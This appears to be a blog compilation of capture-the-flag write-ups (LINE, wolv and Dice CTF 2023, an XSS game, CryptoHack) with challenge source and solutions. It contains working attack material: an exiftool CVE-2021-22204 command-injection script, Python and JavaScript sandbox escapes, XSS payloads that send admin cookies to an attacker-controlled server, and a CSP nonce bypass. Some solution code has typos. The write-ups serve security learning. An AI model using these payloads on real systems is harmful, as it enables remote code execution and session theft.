[Baby Simple GoCurl]

package main

import (
	"errors"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"strings"

	"github.com/gin-gonic/gin"
)

func redirectChecker(req *http.Request, via []*http.Request) error {
	reqIp := strings.Split(via[len(via)-1].Host, ":")[0]

	if len(via) >= 2 || reqIp != "127.0.0.1" {
		return errors.New("Something wrong")
	}

	return nil
}

func main() {
	flag := os.Getenv("FLAG")

	r := gin.Default()

	r.LoadHTMLGlob("view/*.html")
	r.Static("/static", "./static")

	r.GET("/", func(c *gin.Context) {
		c.HTML(http.StatusOK, "index.html", gin.H{
			"a": c.ClientIP(),
		})
	})

	r.GET("/curl/", func(c *gin.Context) {
		client := &http.Client{
			CheckRedirect: func(req *http.Request, via []*http.Request) error {
				return redirectChecker(req, via)
			},
		}

		reqUrl := strings.ToLower(c.Query("url"))
		reqHeaderKey := c.Query("header_key")
		reqHeaderValue := c.Query("header_value")
		reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]
		fmt.Println("[+] " + reqUrl + ", " + reqIP + ", " + reqHeaderKey + ", " + reqHeaderValue)

		if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
			c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
			return
		}

		req, err := http.NewRequest("GET", reqUrl, nil)
		if err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
			return
		}

		if reqHeaderKey != "" || reqHeaderValue != "" {
			req.Header.Set(reqHeaderKey, reqHeaderValue)
		}

		resp, err := client.Do(req)
		if err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
			return
		}

		defer resp.Body.Close()

		bodyText, err := ioutil.ReadAll(resp.Body)
		if err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
			return
		}
		statusText := resp.Status

		c.JSON(http.StatusOK, gin.H{
			"body":   string(bodyText),
			"status": statusText,
		})
	})

	r.GET("/flag/", func(c *gin.Context) {
		reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]

		log.Println("[+] IP : " + reqIP)
		if reqIP == "127.0.0.1" {
			c.JSON(http.StatusOK, gin.H{
				"message": flag,
			})
			return
		}

		c.JSON(http.StatusBadRequest, gin.H{
			"message": "You are a Guest, This is only for Host",
		})
	})

	r.Run()
}

go 언어로 코드가 구현되어 있습니다.

코드를 통해 필터링을 확인해보겠습니다.

 

  1. request는 127.0.0.1로 와야 한다.
  2. 'curl'이라는 문자열은 사용되서는 안된다. - (curl로 페이지 재호출 차단)
  3. 'flag'라는 문자열은 사용되서는 안된다. - (flag에 직접적인 접근 차단)
  4. '%'라는 문자열은 사용되서는 안된다. - (%0A로 줄 바꿈 사전 차단)

현재 상당히 많은 조건이 걸려있습니다만 request는 127.0.0.1이어야 한다는 것을 보고 X-Forwarded-For 헤더를 떠올렸습니다. 

 

위와 같이 url을 http://localhost:8080/flag/로 헤더에 X-Forwarded-For:127.0.0.1을 삽입하면 서버에서는 localhost에서 요청을 주는 것으로 판단하고 flag를 뱉어줍니다.

 

 

[Imagexif]

import os, queue, secrets, uuid
from random import seed, randrange


from flask import Flask, request, redirect, url_for, session, render_template, jsonify, Response
from flask_executor import Executor
from flask_jwt_extended import JWTManager
from werkzeug.utils import secure_filename
from werkzeug.exceptions import HTTPException
import exifread, exiftool
from exiftool.exceptions import *
import base64, re, ast


from common.config import load_config, Config
from common.error import APIError, FileNotAllowed



conf = load_config()
work_queue = queue.Queue()

app = Flask(__name__)
executor = Executor(app)

app.config.from_object(Config)
app.jinja_env.add_extension("jinja2.ext.loopcontrols")
app.config['EXECUTOR_TYPE'] = 'thread'
app.config['EXECUTOR_MAX_WORKERS'] = 5

ALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])
IMAGE_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])


@app.before_request
def before_request():
    userAgent = request.headers

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.errorhandler(Exception)
def handle_error(e):
    code = 500
    if isinstance(e, HTTPException):
        code = e.code
    return jsonify(error=str(e)), code


@app.route('/')
def index():
    return render_template(
        'index.html.j2')

@app.route('/upload', methods=["GET","POST"])
def upload():
    try:
        if request.method == 'GET':
            return render_template(
            'upload.html.j2')
        elif request.method == 'POST':
            if 'file' not in request.files:
                return 'there is no file in form!'
            file = request.files['file']
            if file and allowed_file(file.filename):
                _file = file.read()
                tmpFileName = str(uuid.uuid4())
                with open("tmp/"+tmpFileName,'wb') as f:
                    f.write(_file)
                    f.close()
                    tags = exifread.process_file(file)
                    _encfile = base64.b64encode(_file)
                    try:
                        thumbnail = base64.b64encode(tags.get('JPEGThumbnail'))
                    except:
                        thumbnail = b'None'

                with exiftool.ExifToolHelper() as et:
                    metadata = et.get_metadata(["tmp/"+tmpFileName])[0]
            else:
                raise FileNotAllowed(file.filename.rsplit('.',1)[1])

        os.remove("tmp/"+tmpFileName)
        return render_template(
            'uploaded.html.j2', tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200
    except FileNotAllowed as e:
        return jsonify({
                "error": APIError("FileNotAllowed Error Occur", str(e)).__dict__,
        }), 400
    except ExifToolJSONInvalidError as e:
        os.remove("tmp/"+tmpFileName)
        data = e.stdout
        reg = re.findall('\[(.*?)\]',data, re.S )[0]
        metadata = ast.literal_eval(reg)
        if 0 != len(metadata):
            return render_template(
            'uploaded.html.j2', tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200
        else:
            return jsonify({
                "error": APIError("ExifToolJSONInvalidError Error Occur", str(e)).__dict__,
        }), 400
    except ExifToolException as e:
        os.remove("tmp/"+tmpFileName)
        return jsonify({
                "error": APIError("ExifToolException Error Occur", str(e)).__dict__,
        }), 400
    except IndexError as e:
        return jsonify({
                "error": APIError("File extension could not found.", str(e)).__dict__,
        }), 400
    except Exception as e:
        os.remove("tmp/"+tmpFileName)
        return jsonify({
                "error": APIError("Unknown Error Occur", str(e)).__dict__,
        }), 400


if __name__ == '__main__':
    app.run(host='0.0.0.0')

클라이언트에게 이미지를 받아 exiftool을 통해 처리된 결과를 웹상에서 제공해주는 서비스입니다.

 

{% extends "base.html.j2" %}

{% include 'head.html.j2' %}

{% block title %}LINE CTF 2023 Web [{img.exif}]{% endblock %}

{% block content %}


<div class="row border">
  <div class="col">
    <h1>Uploaded File</h1>
    <img src="data:image/png;base64,{{ thumbnail }}" /><br>
    <img src="data:image/png;base64,{{ image }}" width=800 height=600/>
    {% for key, value in tags.items() %}
  <li>
    <em>{{ key }}:</em> {{ value }}
  </li>
{% endfor %}

  </div>

</div>



{% endblock %}

thumbnail script injection이라고 생각하고 시도하다가 굳이 exiftool을 쓰는데는 이유가 있을 거라 생각하여 서칭 중 exiftool Arbitary Code Execution에 대해 알게 되었습니다.

 

패치된 버전은 12.24, 문제에서 돌고 있는 버전은 12.22였습니다.

one-day 취약점일 수 있다고 생각되어 POC를 따라 로컬에서 테스트를 진행해보았습니다.

 

POC를 살짝 변경하여 환경변수 PATH를 출력하는 코드를 image.jpg 코드로 만들었습니다.

보시는 바와 같이 imgae.jpg를 exiftool로 실행시키자 이미지 파일에 대한 정보가 아닌 환경변수 PATH 값이 출력되는 것을 확인할 수 있습니다.

 

이를 문제에 접목 시켜 터널링을 위한 코드를 삽입하여 image.jpg를 서버에 업로드 하였지만 서버측에서 코드 처리에 드는 시간만 늘어났을뿐 연결은 성공하지 못했습니다.

대부분의 CTF 문제가 OOB가 걸려있기 때문에 도커환경에서 외부 연결이 안되도록 처리해두었다고 사료됩니다.

 

#!/bin/sh

printf %d\\n \'$1

해당 문제에서는 뜬금없게도 ascii.sh이라는 파일이 하나 존재합니다.

이 스크립트는 /bin/sh 셸에서 실행되며 $1은 스크립트 실행 시 전달되는 첫 번째 인수입니다.

또한 printf %d는 숫자를 출력합니다.

이를 사용하여 image.jpg를 제작합니다.

 

from base64 import b64encode
import os
import requests
import time
from pwn import *

pwn = b64encode(open("exploit.py", "rb").read()).decode()

flag = "LINECTF{"  # 2a38211e3b4da95326f5ab593d0af0e9}"
#       LINECTF{2a38211e3b4da95326f5ab593d0af0e9}
i = len(flag)
while True:
    print(flag)
    # sleep >= 10 -> a-f
    # sleep < 10 -> 0-9
    cmd = (
        "X=`/src/ascii.sh ${FLAG:%d:1}`; sleep `expr $X - 87` || sleep `expr $X - 48`"
        % i
    )
    print(cmd)
    os.system(f"python ./cve-2021-22204.py -c '{cmd}'")

    start = time.time()
    r = requests.post(
        "http://34.85.58.100:11008//upload", files={"file": open("./image.jpg", "rb")}
    )
    end = time.time()
    elapsed = end - start

    print(f"Elapsed: {elapsed}")
    try:
        char = "0123456789abcdef"[int(elapsed)]
        print(f"Found: {char}")
        if char in "1234567890abcdef}":
            flag += char
    except:
        flag += "?"
        print("Rejected!")
    i += 1

cmd는 /src/ascii.sh 파일을 이용하여 FLAG 문자열에서 i번째 문자를 추출한 뒤, 해당 문자를 아스키코드로 변환하여 sleep 명령어의 인자로 사용합니다.
여기서 조건문 if char in "1234567890abcdef}"을 이용하여 해당 문자열이 0123456789abcdef} 중 하나인지 확인하고, 이 조건에 만족하는 경우 해당 문자를 flag 변수에 추가합니다.

while 루프 내부에서는 마지막으로 requests 라이브러리를 이용하여 서버에 POST 요청을 보내고, 그 응답 속도를 이용하여 FLAG 문자열에서 다음 문자를 찾습니다.

 

좀더 쉬운 POC?

exiftool -config eval.config runme.jpg -eval="system('echo [{\\\"flag\\\":\\\"\$FLAG\\\"}]')"

위 코드로 runme.jpg를 생성하고 이를  upload 해주면 된다.

Reference :
https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233

https://blogs.blackberry.com/en/2021/06/from-fix-to-exploit-arbitrary-code-execution-for-cve-2021-22204-in-exiftool

'Challenge > CTF' 카테고리의 다른 글

wolv CTF 2023  (0) 2023.03.21
Dice CTF 2023  (0) 2023.02.08
T3N4CIOUS CTF 2022  (0) 2022.03.26
[dvCTF] ICMP  (0) 2022.03.15
[UTCTF] Websockets?  (0) 2022.03.14

[yellsatjavascript]

const readline = require("readline");
const rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout
});

// you can run code but you can't access the flag

rl.question(">>> ", (answer) => {
  flag = process.env['flag']
  if (answer.match(/flag/)) {
    console.log(':(');
    process.exit(1);
  }
  if (answer.match(/\./)) {
    console.log('hey, are you trying to access functions? :(');
    process.exit(1);
  }
  if (answer.match(/[{}]/)) {
    console.log('do you think calculators have curly braces? :(');
    process.exit(1);
  }
  eval(answer);
  rl.close();
});

rl.on('close', () => process.exit(0));

misc 문제로 java script로 구성되어 있으며 매치 함수로 구성된 필터링을 우회하는 문제입니다.

misc 문제지만 필터링 우회를 위한 이런 테크닉도 사용가능하다라는 점을 알리고자 해당 문제를 설명하게 되었습니다.

 

코드를 통해 알 수 있는 사실은 flag는 환경변수로 등록이 되었으며 3단계의 필터링을 통해 flag 호출이 막혀있다라는 점이었습니다.

 

FILTERING

  1. flag 문자열 필터링
  2. attribute 접근 제한을 위한 . 필터링
  3. [{}]

앞선 3가지 필터링을 통해 flag 파일에 대한 직접적인 접근을 제한하는 것을 확인할 수 있으며 환경변수로 flag를 등록하여 두었기 때문에 환경 호출을 통하여 flag를 확인할 수 있을것으로 보입니다.

하지만 환경변수 또한 attribute에 대한 자유로운 접근을 제한하기 위해 . 문자를 필터링하였습니다.

 

한 시간 가량 직접 코드를 컴파일하며 테스트 해본 결과 다음과 같이 표현이 가능하였습니다.

attibute는 [' '] 대괄호를 통해 표현이 가능하였습니다.

result log

 

 

[yellsatpython]

#
# Check out my Python calculator!
#

def validate(expression):
  if any([banned in expression for banned in [
    # my friends ran rm -rf / on my computer, so now I have to be careful
    "os",
    "system",
    "breakpoint",
    "sh",
    "vars(",
    "exec(",
    "eval(",
    "input(",
    "getattr",
    # sick and tired of vars shenanigans; no indexing!
    ".",
    "[",
    "]",
    "dict",
  ]]):
    return False
  return True

import sys

expr = input(">>> ")
if not validate(expr):
  print("no")
  sys.exit(0)

# no variables for you!
print(eval(expr, {}, {}))

# hey what does this do
print(vars())

misc 문제로 python으로 구성되어 있으며 필터링을 우회하는 문제입니다.

명령어 수행 함수 뿐만 아니라 [ ] . 과 같은 문자들도 사용이 불가능한것으로 보여집니다.

 

python 환경이라길래 SSTI인가 싶어 제일먼저 시도해보았습니다만 아니었습니다.

이 문제 또한 테크닉을 통해 flag.txt를 읽어내는 문제였습니다.

 

min(open('flag'+chr(0x2e)+'txt'))
max(open('flag'+chr(0x2e)+'txt'))

.을 chr(0x2e)로 우회하였습니다.

min과 max는 단순히 숫자만 비교해주는 함수가 아니라 인수로 받은 자료형 내에서 최소값 최대값을 반환해 주는 함수 입니다.

이를 활용하여 위와 같은 구문을 만들어 flag.txt를 읽어냈습니다.

 

아래 코드는 팀원 분이 문제 풀이에 사용했던 코드입니다.

제가 시도했던 방법과는 다르기 때문에 확인해보겠습니다.

from pwn import *
import binascii

HOST = "yellsatpython.wolvctf.io"
PORT = 1337
r = remote(HOST, PORT)

string = "__import__('os').system('cat flag.txt')"
res = ""
for s in strings:
	token = binsascii.hexlify(s.encode()).decode()
    #print(token)
    res + = f"chr(0x{token})+"
    
res = res[:-1]
cmd = f"""(a:exec,a({res}))"""

r.recvuntil(">>> ")
r.sendline(cmd)

print(r.recv().decode())

string 변수에는 실행할 명령어를 저장합니다. 해당 명령어는 "cat flag.txt" 명령어를 실행합니다.

for 루프를 사용하여, string 변수에 저장된 명령어 문자열을 하나씩 가져옵니다.

각 문자를 16진수 값으로 변환하여, chr() 함수를 사용하여 문자열 형태로 변환합니다.

이때, binsascii.hexlify() 함수를 사용하여 16진수 값으로 변환한 후, encode() 함수를 사용하여 이진 데이터를 문자열 형태로 변환합니다.

res 변수에는 변환한 문자열을 더하여, 전체 명령어를 완성합니다. 이때, 마지막에 추가된 '+' 문자열은 제거합니다.

 

cmd = f"""(a:exec,a(chr(0x5f)+chr(0x5f)+chr(0x69)+chr(0x6d)+chr(0x70)+chr(0x6f)+chr(0x72)+chr(0x74)+chr(0x5f)+chr(0x5f)+chr(0x28)+chr(0x27)+chr(0x6f)+chr(0x73)+chr(0x27)+chr(0x29)+chr(0x2e)+chr(0x73)+chr(0x79)+chr(0x73)+chr(0x74)+chr(0x65)+chr(0x6d)+chr(0x28)+chr(0x27)+chr(0x63)+chr(0x61)+chr(0x74)+chr(0x20)+chr(0x66)+chr(0x6c)+chr(0x61)+chr(0x67)+chr(0x2e)+chr(0x74)+chr(0x78)+chr(0x74)+chr(0x27)+chr(0x29)+chr(0x2b))"""

f-string으로 포멧팅하여 중괄호({}) 안에 변수나 표현식을 삽입합니다. 

cmd 변수는 a 라는 이름을 가진 함수를 호출하는 코드입니다.

이 함수는 exec 함수를 호출하는데, res 변수에 저장된 문자열을 인자로 전달하여 실행합니다. 따라서, cmd 변수에는 위와 같은 문자열이 저장되고 exec로 실행됩니다.

 

 

[zombie-201]

const fs = require('fs')
const escape = require('escape-html')
const exec = require('child_process')

const express = require("express")
const app = express()
app.use(express.static('public'))

const config = JSON.parse(fs.readFileSync('config.json'))
process.env.FLAG = config.flag

const validateRequest = (req) => {
    const url = req.query.url
    if (!url) {
        return 'Hmmm, not seeing a URL. Please try again.'
    }

    let parsedURL
    try {
        parsedURL = new URL(url)
    }
    catch (e) {
        return 'Something is wrong with your url: ' + escape(e.message)
    }

    if (parsedURL.protocol !== 'http:' && parsedURL.protocol !== 'https:') {
        return 'Our admin is picky. Please provide a url with the http or https protocol.'
    }

    if (parsedURL.hostname !== req.hostname) {
        return `Please provide a url with a hostname of: ${escape(req.hostname)}  Hmmm, I guess that will restrict the submissions. TODO: Remove this restriction before the admin notices and we all get fired.`
    }

    return null
}

app.get('/visit', function(req, res) {
    const validateError = validateRequest(req)
    if (validateError) {
        res.send(validateError)
        return
    }

    const file = 'node'
    const args = ['bot.js', config.httpOnly, req.hostname, req.query.url]
    const options = { timeout: 10000 }
    const callback = function(error, stdout, stderr) {
         console.log(error, stdout, stderr);
         res.send('admin bot has visited your url')
     }

    exec.execFile(file, args, options, callback)
});

// useful for debugging cloud deployments
app.get('/debug', function(req, res) {
    if (config.allowDebug) {
        res.send({"remote-ip": req.socket.remoteAddress, ...req.headers})
    }
    else {
        res.send('sorry, debug endpoint is not enabled')
    }
})

app.get('/zombie', function(req, res) {
    const show = req.query.show
    if (!show) {
        res.send('Hmmmm, you did not mention a show')
        return
    }

    const rating = Math.floor(Math.random() * 3)
    let blurb
    switch (rating) {
        case 2:
            blurb = `Wow, we really liked ${show} too!`
            break;
        case 1:
            blurb = `Yeah, ${show} was ok... I guess.`
            break;
        case 0:
            blurb = `Sorry, ${show} was horrible.`
            break;
    }
    res.send(blurb)
})

const port = 80
app.listen(port,() => {
    console.log(`Running on ${port}`);
});

Zombie-201 문제와 동일하며 config 파일만 조금 다릅니다.

configFile: '{"flag": "wctf{redacted}", "httpOnly": true, "allowDebug": true}'

docker-compoase.yml파일을 보면 구성 파일이 변경된 것을 볼 수 있습니다.

챌린지의 이전 부분에서 httpOnly는 false로 설정되어 js를 통해 관리자 쿠키를 검색하게 했습니다.

현재는 true로 변하였으며 allowDebug 옵션 또한,  true로 설정되어 있습니다.

 

//Fetch debug page
fetch("https://zombie-201-tlejfksioa-ul.a.run.app/debug").then( 
    function(response) {
        //get result as json
        return response.json(); 
    }
).then(
        function(data) {
            //get cookie entry and exfiltrate
            window.location.href = "http://[my server]/?c=".concat(data['cookie']);
        }
    );

1. debug를 사용하여 admin 획득하기

2. json 결과 가져오기

3. 쿠키 가져와서 필터링하기

 

https://zombie-201-tlejfksioa-ul.a.run.app/visit?url=https://zombie-201-tlejfksioa-ul.a.run.app/zombie?show=<script>fetch(“https://zombie-201-tlejfksioa-ul.a.run.app/debug”).then(function(response) {return response.json();}).then(function(data) {window.location.href = “http://ourserver/?c=”.concat(data[‘cookie’]);})</script>

페이로드는 위와 같습니다.

'Challenge > CTF' 카테고리의 다른 글

LINE CTF 2023  (0) 2023.03.28
Dice CTF 2023  (0) 2023.02.08
T3N4CIOUS CTF 2022  (0) 2022.03.26
[dvCTF] ICMP  (0) 2022.03.15
[UTCTF] Websockets?  (0) 2022.03.14

[recrusive-csp]

In challenge page We were able to confirm /?source page is available.

So, we able to get some php code.

 

 

- source code auditing

<?php
  if (isset($_GET["source"])) highlight_file(__FILE__) && die();

  $name = "world";
  if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    $name = $_GET["name"];
  }

  $nonce = hash("crc32b", $name);
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
  <head>
    <title>recursive-csp</title>
  </head>
  <body>
    <h1>Hello, <?php echo $name ?>!</h1>
    <h3>Enter your name:</h3>
    <form method="GET">
      <input type="text" placeholder="name" name="name" />
      <input type="submit" />
    </form>
    <!-- /?source -->
  </body>
</html>

 

following a code I've noticed

it is a PHP challenge that generates a "Content-Security-Policy" header for a web page.

 

The header specifies the security policies for the content of the page, such as which sources of script and style code are allowed to be loaded.

The header sets the "default-src" to "none" to block all sources, then sets the "script-src" to "nonce-$nonce" and "unsafe-inline" to allow scripts with a specific nonce value, and "base-uri" to "none" to prevent the base URL from being set.

The nonce value is generated by taking a "crc32b" hash of the "name" GET parameter.

 

In this case, there is a potential Cross-Site Scripting (XSS) vulnerability in name parameter.

If the "name" GET parameter is not properly sanitized it will be trouble!

To trigger the XSS, an attacker would need to craft a payload that contains the correct nonce value so that it can bypass the "Content-Security-Policy".

The attacker can generate the correct nonce by appending certain bytes to the payload, which were generated by the "crc32-file-collision-generator" tool. (Before running a CTF I didn't even know there was a tool like this. LOL)

 

now we should make a payload to get nonce value (a.k.a hash nonce, hash value, whatever)

In this challenge we need to get the flag in cookie using the admin bot.

 

 

- payload configuration

First of all, it should not be overlooked that the length must not exceed 128.

So, I use this payload to get hash value.

<script nonce="12345678">document.location="myurl"+document.cookie</script>

 

 

<script nonce= " "> : According to the CSP policy, create a tag including a nonce so that the script can be executed.

document.location=" "+.document.cookie : This line of JavaScript code sets the location of the current document to a URL and appends the current document's cookie to the URL as a query string. This causes the cookie to be sent to the specified URL when the payload is executed.

 

 

- get a nonce

Now, we try to get a hash value about nonce by crc32-file-collision-generator

The crc32-file-collision-generator tool takes the target hash value and the payload (payload.txt) as inputs and generates the final payload by modifying the original payload in such a way that when hashed with the CRC32 algorithm, it will produce the same hash value as the target hash value.

The tool modifies the payload by appending additional bytes to it.

The resulting payload will contain the nonce value required to bypass the Content Security Policy (CSP) in the PHP code and trigger an XSS vulnerability.

 

 

crc32-file-collision-generator tool

더보기

The target file can contain any value, as long as it is a known value that the attacker wants to match with the modified payload. In this specific case, the value in the target file was set to 12345678, and the resulting hash of 12345678 with the CRC32 algorithm was 9ae0daaf. The attacker then used the crc32-file-collision-generator tool to modify the payload such that when hashed with the CRC32 algorithm, it produced the same hash value as the target file.

what is diffrent between crc32 and crc32b?

더보기

The main difference between them is the way the polynomial coefficients are defined.

  • CRC32 uses a polynomial of 0x04C11DB7
  • CRC32B uses a polynomial of 0x1EDC6F41.

Therefore, they will produce different hash values for the same input data.

 

- conclusion

So, in summary, the payload sets the location of the current document to a URL, and appends the current document's cookie to the URL, causing the cookie to be sent to the specified URL when the payload is executed

<script nonce="12345678">document.location="myurl"+document.cookie</script>9ae0daaf

 

더보기

flag=diceCTF{h0pe_that_d1dnt_take_too_l0ng}

 

 

 

 

[scorescope]

In challenge page We were able to confirm template.py

There are several quizzes in it, and I guessed that this is a challenge to solve.

 

 

- source code auditing

# DICE 1001
# Homework 3
#
# @author [full name]
# @student_id [student id]
#
# Collaborators:
# - [list collaborators here]
#
# Resources:
# - [list resources consulted]

def add(a, b):
    '''
    Return the sum of a and b.
    Parameters:
        a (int): The first number to add.
        b (int): The second number to add.
    Returns:
        int: The sum of a and b.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

def longest(words):
    '''
    Return the longest word in a list of words.
    When there are multiple words of the same length, return the first.
    Parameters:
        words (list): A list of words.
    Returns:
        str: The longest word in the list.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

def common(a, b):
    '''
    Return the longest common subsequence of two strings.
    Parameters:
        a (str): The first string.
        b (str): The second string.
    Returns:
        str: The longest common subsequence of a and b.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

def favorite():
    '''
    Return your favorite number. Must be the same as my favorite number.
    Returns:
        int: Your favorite number.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

def factor(n):
    '''
    Given an integer, find two integers whose product is n.
    Parameters:
        n (int): The number to factor.
    Returns:
        Tuple[int, int]: Two satisfying integers.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

def preimage(hash):
    '''
    Given a sha256 hash, find a preimage (bytes).
    Parameters:
        hash (str): The sha256 hash of a string in hex.
    Returns:
        bytes: A preimage of the hash.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

def magic():
    '''
    Guess the random number I am thinking of.
    Returns:
        int: Your guess.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

At the end of a code I've noticed it's impossible to solve.

how do i know his thinking and hash value? you can?

 

scorecsope assingment upload&check

I confirmed the assignment check function.

File can be uploded and quiz be graded in there.

It looks like the file is being executed on the server and spitting out results to the website.

in other words, we can write python code on file and execute it in server.

 

So, I tested a few cases and found out about the python Leak top-level execution context.

 

The use of __import__('__main__') to access the top-level execution context can be a security vulnerability if used improperly.

The __main__ module represents the main program that is being executed, and if a malicious code is running in the same environment, it could use the __import__ function to access sensitive information stored in the __main__ module and manipulate it for malicious purposes.

This could potentially lead to security breaches, data theft, or other malicious activities. It's important to use proper security measures and ensure that the code being executed is from a trusted source to prevent these types of security issues.

 

here is a sample code for top-level in python

더보기
import sys         # top-level

3 + 4              # top-level

x = 0              # top-level

def f():           # top-level
    import os      # not top-level!
    return 3       # not top-level

if x:              # top-level
    print 3        # not top-level
else:
    print 4        # not top-level, but executes as part of an if statement
                   # that is top-level

class TopLevel(object): # top-level
    x = 3          # not top-level, but executes as part of the class statement
    def foo(self): # not top-level, but executes as part of the class statement
        print 5    # not top-level

 

 

- payload configuration

main = __import__('__main__')
raise Execption('Result : '+str(dir(main)))

The code is executed,  it raise an exception with a message that contains a string representation of the list of attributes of the main object.

 

top-level execution context

__import__('__main__') :  it used to import the module that represents the top-level script being executed.

dir() : it used to get a list of attributes for the 'main' object, which includes functions, variables, and other attributes defined in the top-level script.

raise Exception('Result : ' + str(dir(main))) : creates an exception with a message that contains the result of calling 'dir(main).dir(main)' returns a list of all the attributes (including methods and variables) of the 'main' object.

 

So, we can get a list of attributes of the main.

['SilentResult', 'Submissionimporter', 'TestCase', 'TestLoader', 'TextTestRunner', '__annotations__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__loader__', '__name__', '__package__', 'current', 'f', 'json', 'stack', 'stderr', 'stdout', 'submission', 'suite', 'sys', 'test', 'tests']

 

honestyl, I don't know which of attributes is relevant with flag.

After checking each one, the suite was what we were looking for. :P

 

main = __import__('__main__')
raise Execption('Result : '+str(dir(main.suite)))

Causes Exception to return a list of properties and methods for the main.suite object.

 

 

 

main = __import__('__main__')
raise Execption('Result : '+str(main.suite))

we check it again without dir() function.

In this case, we get some repeated error code.

main.suite result

The number of repeated codes and the the content was related with the quiz.

I was stuck here.

 

I will continue by reffering to the write-up.

def nop():
	return

main = __import__('__main__')

def nop_test(suite):
        if suite == None:
                return

        if "_testMethodName" in suite.__dict__:
                suite.__dict__[suite.__dict__['_testMehodName']] = nop
                return
        for a in suite:
                nop_test(a)

nop_test(main.suite)

 

they use this payload to solve the quiz.

In here, I have a currious about "testMethodName".

what is "testMethodName"? it this suite's attribute?

 

To create a unit test in Python, you can use the Unittest module. The unittest module provides classes and methods for defining and executing test cases.

The most important class in the unittest module is the TestCase class. The TestCase class is used to define a test case. A test case is a function that tests the expected results for a particular condition.
"_testMethodName" is one of the special methods called automatically in the TestCase class. This method returns the name of the currently running test method.

unittest > Testcase > _testMehodName

 

The "_testMethodName" is not a guaranteed attribute. it's just a method in TestCase class.

 

To check if it is present, we can use the "in" operator on the object's __dict__ attribute.

An example is shown below.

if "_testMethodName" in suite.__dict__:
    print("_testMethodName is exist")
    return

 

- conclusion

in summary, we should know about python top-level executino context to solve a challenge and unittest.suite

더보기
dice{still_more_secure_than_gradescope}

 

reference : https://docs.python.org/3/library/unittest.html

'Challenge > CTF' 카테고리의 다른 글

LINE CTF 2023  (0) 2023.03.28
wolv CTF 2023  (0) 2023.03.21
T3N4CIOUS CTF 2022  (0) 2022.03.26
[dvCTF] ICMP  (0) 2022.03.15
[UTCTF] Websockets?  (0) 2022.03.14

Level 1: Hello, world of XSS

level 1

더보기

<script>alert(1);</script>

 

 

Level 2: Persistence is key

level 2

더보기

<img src=1 onerror='alert(1)'/>

 

 

Level 3: That sinking feeling

level 3

더보기

4.jpg' onerror='alert(1)'

 

 

Level 4: Context matters

level 4

더보기

3');alert('1

 

 

Level 5: Breaking protocol

level 5

더보기

javascript:alert(1)

 

 

Level 6: Follow the rabbit

level 6

더보기

data:text/javascript,alert(1);

Https://nxgfnci.request.dreamhack.games

 

Greatest Common Divisor

def gcd(m, n):
    if m < n:
        m,n = n, m
    if n == 0:
        return m
    if m % n == 0:
        return n
    else:
        return gcd(n, m%n)

def main():
    print(gcd(66528, 52920))   
    
if __name__ == "__main__":
	main()
def gcd(m,n):
    while n != 0:
       r = m%n
       (m,n) = (n,r)
    return abs(m)

def main():
    print(gcd(66528, 52920))   
    
if __name__ == "__main__":
	main()
더보기

1512

 

 

MODULAR ARITHMETIC

def extended_gcd(a, b):
    if b > a:
        a, b = b, a
    if b == 0:
        return 0, 1  
    r = a % b
    print("a:{}, b:{}, r:{}".format(a, b, r))      
    v, u = extended_gcd(r, b)
    print("exit - a:{}, b:{}, v:{}, u:{}, r:{}".format(a, b, v, u, r))  
    return u - (a//b) * v, v


def main():  
    u, v = extended_gcd(26513, 32321)
    print("{}, {}".format(u, v))
    
if __name__ == "__main__":
	main()
더보기

-8404

 

'Challenge > CRYPTOHACK' 카테고리의 다른 글

[CRYPTOHACK] INTRODUCTION TO CRYPTOHACK  (0) 2022.03.31

Finding Flags

더보기

crypto{y0ur_f1rst_fl4g}

 

 

Great Snakes

#!/usr/bin/env python3

import sys
# import this

if sys.version_info.major == 2:
    print("You are running Python 2, which is no longer supported. Please update to Python 3.")

ords = [81, 64, 75, 66, 70, 93, 73, 72, 1, 92, 109, 2, 84, 109, 66, 75, 70, 90, 2, 92, 79]

print("Here is your flag:")
print("".join(chr(o ^ 0x32) for o in ords))
더보기

crypto{z3n_0f_pyth0n}

 

 

ASCII

a = [99, 114, 121, 112, 116, 111, 123, 65, 83, 67, 73, 73, 95, 112, 114, 49, 110, 116, 52, 98, 108, 51, 125]
result = ''
for i in range(0, len(a)):
    result += chr(a[i])    
print(result)​
더보기
crypto{ASCII_pr1nt4bl3}

 

Hex

a ='63727970746f7b596f755f77696c6c5f62655f776f726b696e675f776974685f6865785f737472696e67735f615f6c6f747d'
a = bytes.fromhex(a)
print(a)​
더보기

crypto{You_will_be_working_with_hex_strings_a_lot}

 

 

Base64

import base64

a = '72bca9b68fc16ac7beeb8f849dca1d8a783e8acf9679bf9269f7bf'
a = base64.b64encode(bytes.fromhex(a))
print(a)
더보기

crypto/Base+64+Encoding+is+Web+Safe

 

 

